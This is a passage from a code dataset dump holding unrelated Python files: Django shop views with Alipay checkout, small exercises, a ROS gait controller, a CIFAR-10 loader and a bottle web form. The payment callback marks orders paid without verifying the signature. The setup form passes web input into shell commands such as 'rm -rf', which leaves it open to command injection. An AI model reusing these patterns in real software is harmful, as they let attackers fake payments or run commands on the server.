JsonResponse({'msg': '请登录后操作!', 'status': 0})\n\n\n\n\n\n\ndef subcart(request):\n\n token = request.session.get('token')\n\n user = User.objects.get(token=token)\n # print(user)\n goodsid = request.GET.get('goodsid')\n\n goods = GoodDetail.objects.get(pk=goodsid)\n\n cart = Cart.objects.filter(user=user).filter(goods=goods).first()\n cart.number = cart.number -1\n # print(cart.number)\n cart.save()\n\n responseData = {\n 'msg': '{}-商品删减成功'.format(goods.title),\n 'status': 1,\n 'number': cart.number,\n # 'gooddetail': goods\n }\n # print(responseData)\n return JsonResponse(responseData)\n\n\ndef changecartstatus(request):\n\n cartid = request.GET.get('cartid')\n\n cart = Cart.objects.get(pk=cartid)\n cart.isselect = not cart.isselect\n cart.save()\n\n data = {\n 'msg': '状态修改成功',\n 'status': 1,\n 'isselect': cart.isselect\n }\n\n return JsonResponse(data)\n\n\n\ndef changecartall(request):\n token = request.session.get('token')\n user = User.objects.get(token=token)\n\n # True/False\n isall = request.GET.get('isall')\n if isall == 'true':\n isall = True\n else:\n isall = False\n\n carts = Cart.objects.filter(user=user).update(isselect=isall)\n\n data = {\n 'msg': '状态修改成功',\n 'status': 1,\n }\n\n return JsonResponse(data)\n\n\ndef generate_identifire():\n tempstr = str(int(time.time())) + str(random.random())\n return tempstr\n\n\ndef generateorder(request):\n token = request.session.get('token')\n user = User.objects.get(token=token)\n\n # 订单\n order = Order()\n order.user = user\n order.identifier = generate_identifire()\n order.save()\n\n # 订单商品\n carts = Cart.objects.filter(user=user).filter(isselect=True).exclude(number=0)\n # 只有选中的商品,才是添加到订单中,从购物车中删除\n for cart in carts:\n orderGoods = OrderGoods()\n orderGoods.order = order\n orderGoods.goods = cart.goods\n orderGoods.number = cart.number\n orderGoods.save()\n\n # 从购物车中删除\n cart.delete()\n\n data = {\n 'msg': '下单成功',\n 'status': 1,\n 'identifier': order.identifier\n }\n\n return JsonResponse(data)\n\n\ndef orderdetail(request, identifier):\n order = Order.objects.get(identifier=identifier)\n\n return render(request, 'orderdetail.html', context={'order': order})\n\n@csrf_exempt\ndef appnotify(request):\n # http://112.74.55.3/axf/returnview/?charset=utf-8&out_trade_no=15477988300.6260414050156342&method=alipay.trade.page.pay.return&total_amount=93.00&sign=oaTJZPDeswBfEbQGkBND8w8DDOWGMdz8lw6TlL25Sp73TZtTBqUBx2vazVi5sI6pFLSgfF%2FRsxsiY20S5UzZeCJ5hfrGXp4NCg6ZpZE%2FWS1CsMnI74lO%2F8ttTx1j%2FzfhrJJuTIHJ503Z1wiDZoXHer91ynI%2FCTLn8W0de2fVhnBi5hTo7MJHJBZQnVQ%2BnFJ73cKBB16xdIJ15ISVUrYYi%2FUGJr2jh%2BllGiiTVm4o0maDuYH3ljuGVxAI4yvP%2BevAfo7B2MK%2F1BW3%2FVu8JRLatEIqeyV2Qk87%2F%2FGRndFRjRDuuZMU8zzix0eg0oKYVeBmfOnRPXhMFAs8dGPedC1D2Q%3D%3D&trade_no=2019011822001416700501217055&auth_app_id=2016091800542542&version=1.0&app_id=2016091800542542&sign_type=RSA2&seller_id=2088102176233911×tamp=2019-01-18+16%3A08%3A08\n\n # 获取订单号,并且修改订单状态\n if request.method == 'POST':\n from urllib.parse import parse_qs\n body_str = request.body.decode('utf-8')\n post_data = parse_qs(body_str)\n post_dir = {}\n\n print(body_str)\n print(post_data)\n print(post_data.items())\n for key, value in post_data.items():\n post_dir[key] = value[0]\n\n out_trade_no = post_dir['out_trade_no']\n print(out_trade_no)\n\n # 更新状态\n Order.objects.filter(identifier=out_trade_no).update(status=1)\n\n return JsonResponse({'msg': 'success'})\n\n\ndef returnview(request):\n\n return redirect('mei:index')\n\n\ndef pay(request):\n identifier = request.GET.get('identifier')\n order = Order.objects.get(identifier=identifier)\n\n sum = 0\n for orderGoods in order.ordergoods_set.all():\n\n sum += int(orderGoods.goods.pri)* orderGoods.number\n\n # 支付地址\n url = alipay.direct_pay(\n subject='魅力惠-包包', # 支付宝页面显示的标题\n out_trade_no=identifier, # AXF订单编号\n total_amount=str(sum), # 订单金额\n return_url='http://47.107.167.189/mei/returnview/'\n )\n\n # 拼接上支付网关\n alipayurl = 'https://openapi.alipaydev.com/gateway.do?{data}'.format(data=url)\n\n return JsonResponse({'alipayurl': alipayurl, 'status': 1})\n\n\ndef orderlist(request, status):\n orders = Order.objects.filter(status=status)\n\n return render(request, 'orderlist.html', context={'orders': orders})\n\n","sub_path":"mei/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"193184069","text":"# Given a matrix, zero out every row and column that contains a zero.\n\nimport unittest\nimport copy \n\ndef zero_out_row_col(m):\n len_row=len(m)\n len_col=len(m[0])\n\n n= copy.deepcopy(m)\n\n def zero_out(r,c):\n for i in range(len_row):\n for j in range(len_col):\n if(i==r or j==c):\n n[i][j]=0\n\n for row in range(len_row):\n for col in range(len_col):\n if (m[row][col]==0):\n zero_out(row,col)\n\n print(n)\n return n\n\nclass Test(unittest.TestCase):\n def test_zero_out_row_col_matrix(self):\n mat1 = [[1,1,1,1,1],[1,0,1,1,1],[1,1,1,1,1],[1,1,1,0,1],[2,3,4,5,6]]\n mat2 = [[1,0,1,0,1],[0,0,0,0,0],[1,0,1,0,1],[0,0,0,0,0],[2,0,4,0,6]] \n self.assertEqual(zero_out_row_col(mat1), mat2)\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"ArslanSolution/ch-01-arrays-and-strings/08-zero-matrix.py","file_name":"08-zero-matrix.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"295116693","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# 字符串中处理html\ns = 'Elements are written as \"text\".'\n\n\nimport html\n\nprint(s)\nprint(html.escape(s))\ntmp = html.escape(s)\nprint(html.escape(s, quote=False))\n# 处理的是ASCII文本,并且想将非ASCII文本对应的编码实体嵌入进去,\n# 可以给某些I/O函数传递参数errors='xmlcharrefreplace' 来达到这个目的。\ns = 'Spicy Jalapeño'\nprint(s.encode('ascii', errors=\"xmlcharrefreplace\"))\n# 替换文本中的编码实体\n# 这段在IDE和cmd下运行会报错,因为python默认编码的问题.需要修改一下系统编码\n# cmd不能很好地兼容utf8,而IDE就可以\nimport sys\nimport io\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf8') # IDE运行编码\n# sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='gb18030')#cmd运行编码\n\ns = 'Spicy "Jalapeño".'\nfrom html.parser import HTMLParser\np = HTMLParser()\nprint(p.unescape(s))\n","sub_path":"home/second/stringofhtml.py","file_name":"stringofhtml.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"338195052","text":"import numpy as np\nnp.set_printoptions(suppress=True)\n\n#Put all the activation functions here\n#\ndef sigmoid(para):\n return 1.0/(1 + np.exp(-para))\n\ndef desigmoid(para):\n temp = sigmoid(para)\n return temp*(1 - temp)\n\ndef tanh(para):\n result = (np.exp(para) - np.exp(-para))/(np.exp(para) + np.exp(-para))\n return result\n\ndef detanh(para):\n temp = tanh(para)\n temp2 = 1 - temp*temp\n return temp2\n\ndef relu(para):\n result = np.maximum(0, para)\n return result\n\ndef derelu(para):\n length = len(para.shape)\n if length == 2:\n row, column = para.shape\n temp = np.zeros((row, column))\n for i in xrange(row):\n for j in xrange(column):\n if para[i,j] > 0 :\n temp[i,j] = 1\n return temp\n elif length == 3:\n row, column, depth = para.shape\n temp = np.zeros((row, column, depth))\n for i in xrange(row):\n for j in xrange(column):\n for l in xrange(depth):\n if para[i,j,l] > 0 :\n temp[i,j,l] = 1\n return temp\n\ndef leaky(para):\n result = np.maximum(0.01*para, para)\n return result\n\ndef deleaky(para):\n row, column = para.shape\n temp = np.zeros((row, column))\n for i in xrange(row):\n for j in xrange(column):\n if para[i,j] > 0:\n temp[i,j] = 1\n else:\n temp[i,j] = 0.01\n return temp\n\ndef softmax(para):\n temp = np.exp(para)\n temp_sum = temp.sum(0)\n temp2 = temp/temp_sum\n return temp2\n","sub_path":"BSW/core/activateTurk.py","file_name":"activateTurk.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"328367571","text":"import sys\ndef f(a):\n s = sys.maxsize\n profit = 0\n for i in a:\n s = min(s, i)\n profit = max(profit, i-s)\n print(profit)\n\n return profit\n\n\nf([7,1,5,3,6,4])","sub_path":"rain_trapping.py","file_name":"rain_trapping.py","file_ext":"py","file_size_in_byte":183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"56933127","text":"#!/usr/bin/env python3\n\nimport rospy\nfrom geometry_msgs.msg import PoseStamped\nimport numpy as np\nfrom centauro_contact_detection.msg import Contacts as Contacts_msg\nfrom trot import Gait\n\n# radius of centauro wheels\nR = 0.078\n\n\ndef contacts_callback(msg):\n\n # pass to global scope\n global sw_contact_msg\n sw_contact_msg = msg\n\n\ndef casannis(int_freq):\n\n \"\"\"\n This function call the optimization problem constructor, the solver, the interpolator and interfaces with cartesio\n through ros topics\n Args:\n int_freq: desired interpolation frequency (affects only the interpolation and not the optimal solution)\n Returns:\n publish the desired data to cartesio through ros topics\n\n \"\"\"\n\n rospy.init_node('casannis', anonymous=True)\n\n # map feet to a string for publishing to the corresponding topic\n id_name = ['FL', 'FR', 'HL', 'HR']\n id_contact_name = ['f_left', 'f_right', 'h_left', 'h_right']\n\n # accept one message for com and feet initial position\n com_init = rospy.wait_for_message(\"/cartesian/com/current_reference\", PoseStamped, timeout=None)\n\n f_init = [] # position of wheel frames\n f_cont = [] # position of contact frames\n\n # loop for all feet\n for i in range(len(id_name)):\n f_init.append(rospy.wait_for_message(\"/cartesian/\" + id_name[i] + \"_wheel/current_reference\",\n PoseStamped,\n timeout=None))\n f_cont.append([f_init[i].pose.position.x, f_init[i].pose.position.y, f_init[i].pose.position.z - R])\n\n # contact points as array\n contacts = [np.array(x) for x in f_cont]\n\n # state vector\n c0 = np.array([com_init.pose.position.x, com_init.pose.position.y, com_init.pose.position.z])\n dc0 = np.zeros(3)\n ddc0 = np.zeros(3)\n x0 = np.hstack([c0, dc0, ddc0])\n\n # Get ROS Parameters\n\n # ID of the foot to be moved, get from parameters\n swing_id = rospy.get_param(\"~sw_id\") # from command line as swing_id:=1/2/3/4\n swing_id = swing_id.rstrip(']').lstrip('[').split(',') # convert swing_id from \"[a, b]\" to [a,b]\n swing_id = [int(i) for i in swing_id]\n\n # number of steps\n step_num = len(swing_id)\n\n # Target position of the foot wrt to the current position\n tgt_dx = rospy.get_param(\"~tgt_dx\") # get from command line as target_dx\n tgt_dy = rospy.get_param(\"~tgt_dy\")\n tgt_dz = rospy.get_param(\"~tgt_dz\")\n\n # Clearance to be achieved, counted from the highest point\n swing_clear = rospy.get_param(\"~clear\") # get from command line as target_dx\n\n # force threshold\n minimum_force = rospy.get_param(\"~min_for\")\n\n # apply or no contact detection\n cont_detection = rospy.get_param(\"~cont_det\") # from command line as contact_det:=True/False\n\n # variables to loop for swing legs\n swing_tgt = [] # target positions as list\n swing_t = [] # time periods of the swing phases\n f_pub_ = [] # list of publishers for the swing foot\n com_msg = PoseStamped() # message to be published for com\n f_msg = [] # list of messages to be published for swing feet\n swing_contacts = [] # contact positions of the swing feet\n\n print('number of steps', step_num)\n for i in range(step_num):\n # targets\n swing_tgt.append([contacts[swing_id[i] - 1][0] + tgt_dx, contacts[swing_id[i] - 1][1] + tgt_dy, contacts[swing_id[i] - 1][2] + tgt_dz])\n\n # swing phases\n swing_t.append(rospy.get_param(\"~sw_t\" + str(i+1))) # from command line as swing_t:=\"[a,b]\"\n swing_t[i] = swing_t[i].rstrip(']').lstrip('[').split(',') # convert swing_t from \"[a, b]\" to [a,b]\n swing_t[i] = [float(i) for i in swing_t[i]]\n\n # swing feet trj publishers\n f_pub_.append(rospy.Publisher('/cartesian/' + id_name[swing_id[i] - 1] + '_wheel/reference',\n PoseStamped,\n queue_size=10))\n\n # feet trj messages\n f_msg.append(PoseStamped())\n\n # keep same orientation\n f_msg[i].pose.orientation = f_init[swing_id[i] - 1].pose.orientation\n\n swing_contacts.append(contacts[swing_id[i] - 1])\n\n # CoM trj publisher\n com_pub_ = rospy.Publisher('/cartesian/com/reference', PoseStamped, queue_size=10)\n\n # Subscriber for contact flags\n rospy.Subscriber('/contacts', Contacts_msg, contacts_callback)\n\n # object class of the optimization problem\n walk = Gait(mass=95, N=int((swing_t[-2][1] + 1.0) / 0.2), dt=0.2)\n\n # call the solver of the optimization problem\n # sol is the directory returned by solve class function contains state, forces, control values\n sol = walk.solve(x0=x0, contacts=contacts, swing_id=[x-1 for x in swing_id], swing_tgt=swing_tgt,\n swing_clearance=swing_clear, swing_t=swing_t, min_f=minimum_force)\n\n # interpolate the trj, pass solution values and interpolation frequency\n interpl = walk.interpolate(sol, swing_contacts, swing_tgt, swing_clear, swing_t, int_freq)\n\n # All points to be published\n N_total = int(walk._N * walk._dt * int_freq) # total points --> total time * interpolation frequency\n\n # executed trj points\n executed_trj = []\n\n # early contact flags default values\n early_contact = [False, False, False, False]\n\n # times activating contact detection\n t_early = [swing_t[i][0] + 0.7 * (swing_t[i][1] - swing_t[i][0]) for i in range(step_num)]\n\n # time intervals [swing_start, early_cont_detection_start, swing_stop]\n delta_t_early = [[swing_t[i][0], t_early[i], swing_t[i][1]] for i in range(step_num)]\n\n print('swing t is:', swing_t)\n print('t_early is:', t_early)\n print('delta_t_early is:', delta_t_early)\n\n # approximate distance covered during swing\n tgt_ds = sum([interpl['sw'][i]['s'] for i in range(step_num)])\n\n # mean velocity of the swing foot\n mean_foot_velocity = tgt_ds / step_num * (swing_t[0][1] - swing_t[0][0])\n print('Mean foot velocity is:', mean_foot_velocity, 'm/sec')\n\n rate = rospy.Rate(int_freq) # Frequency trj publishing\n # loop interpolation points to publish on a specified frequency\n for counter in range(N_total):\n\n if not rospy.is_shutdown():\n\n # check if current time is within swing phase and contact detection\n swing_phase = []\n for i in range(step_num):\n\n # swing phase check\n if delta_t_early[i][0] <= interpl['t'][counter] <= delta_t_early[i][2]:\n\n if i == 0:\n swing_phase.append(i)\n swing_phase.append(3)\n elif i == 1:\n swing_phase = []\n swing_phase.append(i)\n swing_phase.append(2)\n\n # time for contact detection\n if interpl['t'][counter] >= delta_t_early[i][1]:\n early_check = True\n\n else:\n early_check = False\n break\n\n else:\n swing_phase.append(-1) # not in swing phase\n early_check = False\n\n print('swing phase is:', swing_phase)\n # com trajectory\n com_msg.pose.position.x = interpl['x'][0][counter]\n com_msg.pose.position.y = interpl['x'][1][counter]\n com_msg.pose.position.z = interpl['x'][2][counter]\n\n # swing feet\n for i in range(2):\n f_msg[swing_phase[i]].pose.position.x = interpl['sw'][swing_phase[i]]['x'][counter]\n f_msg[swing_phase[i]].pose.position.y = interpl['sw'][swing_phase[i]]['y'][counter]\n # add radius as origin of the wheel frame is in the center\n f_msg[swing_phase[i]].pose.position.z = interpl['sw'][swing_phase[i]]['z'][counter] + R\n\n # publish com trajectory regardless contact detection\n com_msg.header.stamp = rospy.Time.now()\n com_pub_.publish(com_msg)\n\n for i in range(2):\n if swing_phase[i] == -1:\n pass\n\n # do not check for early contact\n elif not cont_detection or early_check is False:\n\n # publish swing trajectory\n f_msg[swing_phase[i]].header.stamp = rospy.Time.now()\n f_pub_[swing_phase[i]].publish(f_msg[swing_phase[i]])\n\n # If no early contact detected yet\n elif not early_contact[swing_phase[i]]:\n print('time for contact detection')\n # if there is contact\n if getattr(getattr(sw_contact_msg, id_contact_name[swing_id[swing_phase[i]] - 1]), 'data'):\n\n early_contact[swing_phase[i]] = True # stop swing trajectory of this foot\n\n executed_trj.append(counter) # save counter\n print(\"early contact detected \", counter)\n\n # if no contact\n else:\n # publish swing trajectory\n f_msg[swing_phase[i]].header.stamp = rospy.Time.now()\n f_pub_[swing_phase[i]].publish(f_msg[swing_phase[i]])\n\n rate.sleep()\n\n # print the trajectories\n try:\n # there was early contact detected\n if early_contact.index(True) + 1:\n print(\"Early contact detected. Trj Counter is:\", executed_trj, \"out of total\", N_total-1)\n\n if rospy.get_param(\"~plots\"):\n walk.print_trj(sol, interpl, int_freq, executed_trj)\n walk.print_support_line([contacts[i] for i in [1, 2]], [swing_tgt[i] for i in [0, 3]], sol['x'], swing_t)\n\n except:\n print(\"No early contact detected\")\n\n if rospy.get_param(\"~plots\"):\n walk.print_trj(sol, interpl, int_freq, [N_total-1, N_total-1, N_total-1, N_total-1])\n walk.print_support_line([contacts[i] for i in [1, 2]], [swing_tgt[i] for i in [0, 3]], sol['x'], swing_t)\n\n\nif __name__ == '__main__':\n\n # desired interpolation frequency\n interpolation_freq = 300\n\n try:\n casannis(interpolation_freq)\n except rospy.ROSInterruptException:\n pass","sub_path":"src/trot_node.py","file_name":"trot_node.py","file_ext":"py","file_size_in_byte":10292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"188228169","text":"import sys\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import QDate\n\n\nclass MyApp(QWidget):\n\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n cal = QCalendarWidget(self)\n cal.setGridVisible(True)\n cal.clicked[QDate].connect(self.showDate)\n\n self.lbl = QLabel(self)\n date = cal.selectedDate()\n self.lbl.setText(date.toString())\n\n vbox = QGridLayout()\n vbox.addWidget(cal,1,0)\n vbox.addWidget(self.lbl)\n vbox.addWidget(QPushButton('Top'))\n vbox.addWidget(QLineEdit(\"이름\"),0,1)\n vbox.addWidget(QLineEdit(\"전화번호\"),0,2)\n\n \n \n groupbox = QGroupBox('시간')\n gvbox=QVBoxLayout()\n gvbox.addWidget(QRadioButton('radio1'))\n gvbox.addWidget(QRadioButton('radio2'))\n gvbox.addWidget(QRadioButton('radio3'))\n groupbox.setLayout(gvbox)\n vbox.addWidget(groupbox,1,1)\n \n self.setLayout(vbox)\n\n self.layout().itemAtPosition(1,1).widget().deleteLater()\n vbox.addWidget(QLineEdit(\"다른이름\"),0,1)\n\n \n self.setWindowTitle('QCalendarWidget')\n self.setGeometry(300, 300, 400, 300)\n self.show()\n\n \n\n def showDate(self, date):\n self.lbl.setText(date.toString())\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = MyApp()\n sys.exit(app.exec_())\n","sub_path":"py/cal.py","file_name":"cal.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"464171617","text":"#!/usr/bin/python\n# brokergroupform_setup.py\n# Form to execute PreservationSimulation broker.py setup UI page.\n\nimport os\nimport bottle\nfrom catchex import catchex\nfrom NewTraceFac import NTRC, ntrace, ntracef\nimport re\nimport subprocess\nimport util\nimport command\n\n\n#============== S E T U P P A G E ===============\n\n\n@bottle.get('/setup')\n@bottle.get('/mainsim/setup')\n@bottle.jinja2_view('brokergroup_setupform_insert.j2', template_lookup=['./views/'])\n@ntrace\ndef mainsim_setup_get():\n \"\"\" Make the form anew and display it.\"\"\"\n \"\"\" Used to do this here, but now do it dynamically with the\n bottle.jinja2_view decorator and dict return. \n Don't store the result file at all.\n \"\"\"\n \"\"\"\n sMakeformCmd = ('python2 brokergroup_makeform.py '\n 'brokergroup_setupform_insert.j2 '\n 'views/brokergroup_setupform.tpl '\n 'instructions')\n result = subprocess.check_output(sMakeformCmd, shell=True)\n \"\"\"\n return {}\n\n\n@bottle.post('/setup')\n@bottle.post('/mainsim/setup')\n@bottle.jinja2_view('brokergroup_setupform_done.j2', template_lookup=['./views/'])\n@ntrace\ndef mainsim_setup_post():\n # C O L L E C T D A T A \n sFamilyDir = bottle.request.forms.get(\"sFamilyDir\")\n sSpecificDir = bottle.request.forms.get(\"sSpecificDir\")\n bClearDirs = bottle.request.forms.get(\"bClearDirs\")\n bClearDone = bottle.request.forms.get(\"bClearDone\")\n sAction = bottle.request.forms.get(\"submit\")\n sOK = bottle.request.POST.ok\n sCancel = bottle.request.POST.cancel\n\n msg = \"mainsim_setup_post: done\"\n\n # F O R M D I C T I O N A R Y O F S U B S T I T U T I O N S \n # Make a dictionary to use to substitute params into CLI command.\n dVals = dict(sFamilyDir=sFamilyDir\n ,sSpecificDir=sSpecificDir\n ,bClearDirs=(\"Yes\" if bClearDirs else \"No\")\n ,bClearDone=(\"Yes\" if bClearDone else \"No\")\n ,sOK=sOK\n ,sCancel=sCancel\n ,sAction=(\"DONE\" if sOK else \"CANCELLED\")\n ,msg=msg\n )\n NTRC.ntrace(3,\"proc first dict|%s|\" % (dVals))\n\n if sOK:\n # If instructed to clear area, do that first.\n if bClearDirs:\n sClearDirsCmd = cCmd.mMakeCmd(sCmdClearDirs, dVals)\n lCmdOut = cCmd.mDoCmdLst(sClearDirsCmd)\n dVals[\"sResultClearDirs\"] = fnsMakeReadable(sClearDirsCmd, lCmdOut)\n \n # Use standard script to setup output dirs.\n sSetupDirsCmd = cCmd.mMakeCmd(sCmdSetupDirs, dVals)\n lCmdOut = cCmd.mDoCmdLst(sSetupDirsCmd)\n dVals[\"sResultSetupDirs\"] = fnsMakeReadable(sSetupDirsCmd, lCmdOut)\n\n # Use standard script to clear done records.\n if bClearDone:\n sClearDoneCmd = cCmd.mMakeCmd(sCmdClearDone, dVals)\n lCmdOut = cCmd.mDoCmdLst(sClearDoneCmd)\n dVals[\"sResultClearDone\"] = fnsMakeReadable(sClearDoneCmd, lCmdOut)\n\n # Tell user what we did.\n lVals = [\"k:|%s| v:|%s|\" % (k, v) for (k, v) in sorted(dVals.items())]\n sVals = \"\\n
\".join(lVals)\n sOut = sVals\n return dVals\n\n\n# f n s M a k e R e a d a b l e \ndef fnsMakeReadable(sCmd, lOut):\n \"\"\" Put HTML line breaks into command and its output lines. \"\"\"\n sOut = \"
\".join(lOut)\n return sCmd + \"
\" + sOut\n\n\n#============== D A T A ===============\n\n\ncCmd = command.CCommand()\nsCmdSetupDirs = \"sh setupfamilydir.sh {sFamilyDir} {sSpecificDir}\"\nsCmdClearDirs = \"rm -rf {sFamilyDir}/{sSpecificDir}\"\nsCmdClearDone = \"sh dbcleardone.sh\"\n\n\n# Edit history:\n# 20171230 RBL Add processing for setup page to establish \n# output directory structure, erase done records, etc.\n# Separate SETUP page code from entry point and main line.\n# Use Jinja2 template calls directly rather than \n# manually creating the output template. \n# \n\n#END\n","sub_path":"shelf/brokergroupform_setup.py","file_name":"brokergroupform_setup.py","file_ext":"py","file_size_in_byte":3927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"195087024","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri May 3 19:49:10 2019\r\n\r\n@author: Huntrer\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport quantecon as qe\r\n\r\nmc = qe.tauchen(0.96, 0.25, n=25)\r\nsim_length = 80\r\n\r\nx_series = mc.simulate(sim_length, init=np.median(mc.state_values))\r\ng_series = np.exp(x_series)\r\nd_series = np.cumprod(g_series) # assumes d_0 = 1\r\n\r\nseries = [x_series, g_series, d_series, np.log(d_series)]\r\nlabels = ['$X_t$', '$g_t$', '$d_t$', r'$\\log \\, d_t$']\r\n\r\nfig, axes = plt.subplots(2, 2, figsize=(12, 8))\r\nfor ax, s, label in zip(axes.flatten(), series, labels):\r\n ax.plot(s, 'b-', lw=2, label=label)\r\n ax.legend(loc='upper left', frameon=False)\r\nplt.tight_layout()\r\nplt.show()","sub_path":"prices.py","file_name":"prices.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"178336871","text":"#!/usr/bin/python\r\n\"\"\"\r\nCreated on Sun Feb 24 19:53:05 2019\r\n@author: Sergio y Mateo\r\n\"\"\"\r\n#download the database\r\nimport os\r\nimport urllib.request\r\nimport tarfile\r\n\r\n#Download the dataset CIFAR-10\r\ncwd = os.getcwd()\r\nif os.path.exists(cwd +'/'+'cifar-10-python.tar.gz') == False:\r\n url = \"https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz\"\r\n print('Downloading the database...')\r\n u = urllib.request.urlopen(url)\r\n data = u.read()\r\n u.close()\r\n with open(cwd+'/'+'cifar-10-python.tar.gz','wb') as f :\r\n f.write(data)\r\n print('Database downloaded.')\r\n f.close()\r\n#Extract files\r\ntar = tarfile.open(\"cifar-10-python.tar.gz\")\r\ntar.extractall()\r\ntar.close()\r\n#Load CIFAR-10:\r\ndef unpickle(file):\r\n import pickle\r\n import numpy as np\r\n with open(file, 'rb') as fo:\r\n _dict = pickle.load(fo, encoding='latin1')\r\n _dict['labels'] = np.array(_dict['labels'])\r\n _dict['data'] = _dict['data'].reshape(_dict['data'].shape[0], 3, 32, 32).transpose(0,2,3,1)\r\n\r\n return _dict\r\n\r\ndef get_data(data, sliced=1):\r\n from skimage import color\r\n import numpy as np\r\n data_x = data['data']\r\n data_x = color.rgb2gray(data_x)\r\n data_x = data_x[:int(data_x.shape[0]*sliced)]\r\n data_y = data['labels']\r\n data_y = data_y[:int(data_y.shape[0]*sliced)]\r\n return data_x, data_y\r\n\r\ndef merge_dict(dict1, dict2):\r\n import numpy as np\r\n if len(dict1.keys())==0: return dict2\r\n new_dict = {key: (value1, value2) for key, value1, value2 in zip(dict1.keys(), dict1.values(), dict2.values())}\r\n for key, value in new_dict.items():\r\n if key=='data':\r\n new_dict[key] = np.vstack((value[0], value[1]))\r\n if key=='labels':\r\n new_dict[key] = np.hstack((value[0], value[1]))\r\n elif key=='batch_label':\r\n new_dict[key] = value[1]\r\n else:\r\n new_dict[key] = value[0] + value[1]\r\n return new_dict\r\n\r\n\r\ndef load_cifar10_1(meta='cifar-10-batches-py', mode=1):\r\n assert mode in [1, 2, 3, 4, 5, 'test']\r\n _dict = {}\r\n import os\r\n if isinstance(mode, int):\r\n for i in range(mode):\r\n file_ = os.path.join(meta, 'data_batch_'+str(mode))\r\n _dict = merge_dict(_dict, unpickle(file_))\r\n else:\r\n file_ = os.path.join(meta, 'test_batch')\r\n _dict = unpickle(file_)\r\n return _dict\r\ndef load_cifar10_2(meta='cifar-10-batches-py', mode=2):\r\n assert mode in [1, 2, 3, 4, 5, 'test']\r\n _dict = {}\r\n import os\r\n if isinstance(mode, int):\r\n for i in range(mode):\r\n file_ = os.path.join(meta, 'data_batch_'+str(mode))\r\n _dict = merge_dict(_dict, unpickle(file_))\r\n else:\r\n file_ = os.path.join(meta, 'test_batch')\r\n _dict = unpickle(file_)\r\n return _dict\r\ndef load_cifar10_3(meta='cifar-10-batches-py', mode=3):\r\n assert mode in [1, 2, 3, 4, 5, 'test']\r\n _dict = {}\r\n import os\r\n if isinstance(mode, int):\r\n for i in range(mode):\r\n file_ = os.path.join(meta, 'data_batch_'+str(mode))\r\n _dict = merge_dict(_dict, unpickle(file_))\r\n else:\r\n file_ = os.path.join(meta, 'test_batch')\r\n _dict = unpickle(file_)\r\n return _dict\r\ndef load_cifar10_4(meta='cifar-10-batches-py', mode=4):\r\n assert mode in [1, 2, 3, 4, 5, 'test']\r\n _dict = {}\r\n import os\r\n if isinstance(mode, int):\r\n for i in range(mode):\r\n file_ = os.path.join(meta, 'data_batch_'+str(mode))\r\n _dict = merge_dict(_dict, unpickle(file_))\r\n else:\r\n file_ = os.path.join(meta, 'test_batch')\r\n _dict = unpickle(file_)\r\n return _dict\r\ndef load_cifar10_5(meta='cifar-10-batches-py', mode=5):\r\n assert mode in [1, 2, 3, 4, 5, 'test']\r\n _dict = {}\r\n import os\r\n if isinstance(mode, int):\r\n for i in range(mode):\r\n file_ = os.path.join(meta, 'data_batch_'+str(mode))\r\n _dict = merge_dict(_dict, unpickle(file_))\r\n else:\r\n file_ = os.path.join(meta, 'test_batch')\r\n _dict = unpickle(file_)\r\n return _dict\r\ndef load_cifar10_test(meta='cifar-10-batches-py', mode='test'):\r\n assert mode in [1, 2, 3, 4, 5, 'test']\r\n _dict = {}\r\n import os\r\n if isinstance(mode, int):\r\n for i in range(mode):\r\n file_ = os.path.join(meta, 'data_batch_'+str(mode))\r\n _dict = merge_dict(_dict, unpickle(file_))\r\n else:\r\n file_ = os.path.join(meta, 'test_batch')\r\n _dict = unpickle(file_)\r\n return _dict\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\ndata_1,labels_1 = get_data(load_cifar10_1())\r\ndata_2,labels_2 = get_data(load_cifar10_2())\r\n\r\nBigData = np.concatenate((data_1,data_2))\r\nBigLabels = np.concatenate((labels_1,labels_2))\r\n#Balancing the classes,a represents the number of images per class to train\r\na=100\r\nclase_0 = np.zeros((a,32,32))\r\nclase_1 = np.zeros((a,32,32))\r\nclase_2 = np.zeros((a,32,32))\r\nclase_3 = np.zeros((a,32,32))\r\nclase_4 = np.zeros((a,32,32))\r\nclase_5 = np.zeros((a,32,32))\r\nclase_6 = np.zeros((a,32,32))\r\nclase_7 = np.zeros((a,32,32))\r\nclase_8 = np.zeros((a,32,32))\r\nclase_9 = np.zeros((a,32,32))\r\n\r\ncont=0;\r\ni = 0;\r\nwhile(cont Dataset:\n if filter_annotations:\n return self.transform(XPathAnnotationsFilter, expr, remove_empty)\n else:\n return self.transform(XPathDatasetFilter, expr)\n\n def update(self, other):\n for item in other:\n self.put(item)\n return self\n\n def select(self, pred):\n class _DatasetFilter(Extractor):\n def __init__(self, 